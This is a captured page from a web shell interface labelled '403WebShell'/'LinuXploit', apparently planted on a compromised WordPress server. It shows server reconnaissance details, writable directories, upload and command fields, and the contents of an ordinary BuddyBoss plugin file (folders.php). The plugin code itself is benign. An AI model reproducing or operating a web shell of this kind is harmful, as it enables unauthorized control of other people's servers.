Uname:Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64

Base Dir : /home/nobi37te/public_html

User : nobi37te


403WebShell
403Webshell
Server IP : 104.21.25.182  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User : nobi37te ( 1003)
PHP Version : 8.2.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nobi37te/public_html/wp-content/plugins/buddyboss-platform/bp-document/screens/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nobi37te/public_html/wp-content/plugins/buddyboss-platform/bp-document/screens/folders.php
<?php
/**
 * Document: Single folder screen handler
 *
 * @package BuddyBoss\Document\Screens
 *
 * @since BuddyBoss 1.4.0
 */

/**
 * Load an individual folder screen.
 *
 * @since BuddyBoss 1.4.0
 *
 * @return false|null False on failure.
 */
function document_screen_single_folder() {

	// Bail if not viewing a single folder.
	if ( ! bp_is_document_component() || ! bp_is_single_folder() ) {
		return false;
	}

	$folder_id = (int) bp_action_variable( 0 );

	if ( empty( $folder_id ) || ! BP_Document_Folder::folder_exists( $folder_id ) ) {
		if ( is_user_logged_in() ) {
			bp_core_add_message( __( 'The folder you tried to access is no longer available', 'buddyboss' ), 'error' );
		}

		bp_core_redirect( trailingslashit( bp_displayed_user_domain() . bp_get_document_slug() . '/folders' ) );
	}

	// No access.
	if ( ( ! folders_check_folder_access( $folder_id ) && ! bp_is_my_profile() ) && ! bp_current_user_can( 'bp_moderate' ) ) {
		bp_core_add_message( __( 'You do not have access to that folder.', 'buddyboss' ), 'error' );
		bp_core_redirect( trailingslashit( bp_displayed_user_domain() . bp_get_document_slug() ) );
	}

	/**
	 * Fires right before the loading of the single folder view screen template file.
	 *
	 * @since BuddyBoss 1.4.0
	 */
	do_action( 'document_screen_single_folder' );

	/**
	 * Filters the template to load for the Single Folder view screen.
	 *
	 * @since BuddyBoss 1.4.0
	 *
	 * @param string $template Path to the folder template to load.
	 */
	bp_core_load_template( apply_filters( 'document_template_single_folder', 'members/single/home' ) );
}
add_action( 'bp_screens', 'document_screen_single_folder' );

Youez - 2016 - github.com/yon3zu
LinuXploit